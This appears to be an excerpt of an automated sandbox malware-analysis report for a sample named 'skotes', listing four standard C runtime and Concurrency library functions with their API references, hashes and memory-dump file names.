Instruction ID: 72b66e6bb192e0785b2fd673eccbaab3971d87cf9993d3a2cd918bc2fc036af2
Opcode Fuzzy Hash: ddddc9ef16adb63e917699573da088b35fd48e89c0c1efcecf770e24fb989cf8
Instruction Fuzzy Hash: E5214F74A00249EFCB18EF65C999EADBBB5BF05350F54806DE905A7351DB38AE01CF90

Function 007BEE5F Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 007BEEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 007BEEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 007BEEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 007BEF0F
Concurrency::Context::Block.LIBCONCRT ref: 007BEF31

Strings

i{, xrefs: 007BEED0

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID: i{
API String ID: 1182035702-2225238563
Opcode ID: 79eeb091a38a08510a34b85c780b61369c5862ec586ad2bb4340d3df2fb10ded
Instruction ID: ce217589a43a165481154130435cc29d55ca245cb346cb75a52a16d2b839d7e5
Opcode Fuzzy Hash: 79eeb091a38a08510a34b85c780b61369c5862ec586ad2bb4340d3df2fb10ded
Instruction Fuzzy Hash: EA214B70814249CEDF64DFA4C8497EEBBF0BF14320F600A2EE151A62D1EB799A44CA90

Function 007C78E1 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 007C7903

Part of subcall function 007C5CB8: __EH_prolog3_catch.LIBCMT ref: 007C5CBF
Part of subcall function 007C5CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 007C5CF8

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 007C792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 007C7936

Part of subcall function 007C5CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 007C5D70
Part of subcall function 007C5CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 007C5D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 007C7982
Concurrency::location::_Assign.LIBCMT ref: 007C79A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 007C79AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 007C79BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 007C79ED

Part of subcall function 007C691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 007C6942
Part of subcall function 007C691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 007C6965

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: 7a7aabc9346615fc628a33f6667800d32b1080dda6fa35467733934e8ecc1f6e
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: 14310830B08255AACF1EAA784496FFEBBB59F41300F0441ADD895D7242DE3D6D4ACB91

Function 007E4C14 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 007E4C98
__alloca_probe_16.LIBCMT ref: 007E4D5E
__freea.LIBCMT ref: 007E4DCA
__freea.LIBCMT ref: 007E4DD3
__freea.LIBCMT ref: 007E4DF6

Strings

Z},m}, xrefs: 007E4C26

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16
String ID: Z},m}
API String ID: 3509577899-16929842
Opcode ID: ebcece7e62e928909cd5b381519e4cc765ab917894a1bc0dc899081564a70c86
Instruction ID: d0e9d8859650eebbf57822bc537c3532c5ad1c81bbc8035344c5a5102d0fecfa
Opcode Fuzzy Hash: ebcece7e62e928909cd5b381519e4cc765ab917894a1bc0dc899081564a70c86
Instruction Fuzzy Hash: 8D51E772602256EFDF219F66DC45FBB37A9DF88750F250629FE0497250EB38DC1086A0

Function 007CDD18 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 007CDD91
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 007CDDAE
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 007CDE14
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 007CDE29
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 007CDE3B
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 007CDE4B
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 007CDE74

Memory Dump Source

Source File: 00000007.00000002.2545510550.00000000007A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000007.00000002.2545393869.00000000007A0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2545510550.0000000000802000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546253105.0000000000809000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2546810224.000000000080B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2547561816.0000000000817000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549354887.000000000096F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549416629.0000000000971000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2549910258.0000000000986000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551067659.0000000000987000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.000000000098A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2551120553.0000000000991000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552236389.000000000099D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552329352.000000000099E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552387901.00000000009A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552439131.00000000009A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552509965.00000000009AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2552564096.00000000009AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554038312.00000000009B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554164840.00000000009B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554238457.00000000009C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554297406.00000000009C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554333779.00000000009CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554387078.00000000009D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2554491229.00000000009F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556055941.00000000009F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556125455.00000000009FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556183178.0000000000A01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556287487.0000000000A02000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556340876.0000000000A04000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556389372.0000000000A05000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556440940.0000000000A08000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556494514.0000000000A11000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556554810.0000000000A13000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556612682.0000000000A14000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556663388.0000000000A17000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2556719666.0000000000A18000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557160630.0000000000A1E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557223364.0000000000A26000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557279754.0000000000A2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557340481.0000000000A2B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557400916.0000000000A2C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557498033.0000000000A2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557532658.0000000000A33000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557625518.0000000000A42000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557663846.0000000000A43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557724225.0000000000A64000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557771532.0000000000A71000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557869892.0000000000AA0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557927163.0000000000AA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2557987298.0000000000AA2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558043601.0000000000AA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558093037.0000000000AA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558137774.0000000000AB7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2558209982.0000000000AB8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: 435403a405be0c90939c0e65c2944dfa97a562fed6fc9c5aaf7e621dd65e31ac
Instruction ID: b5d449e8f1cde34c7db92097281b34468e77f50310193273fbe8426a7f2aed09
Opcode Fuzzy Hash: 435403a405be0c90939c0e65c2944dfa97a562fed6fc9c5aaf7e621dd65e31ac
Instruction Fuzzy Hash: C6418B70A04244DACF25EBA4845AFED7BA16F15304F1840BDE9466B2C3DB7D9E09CB62

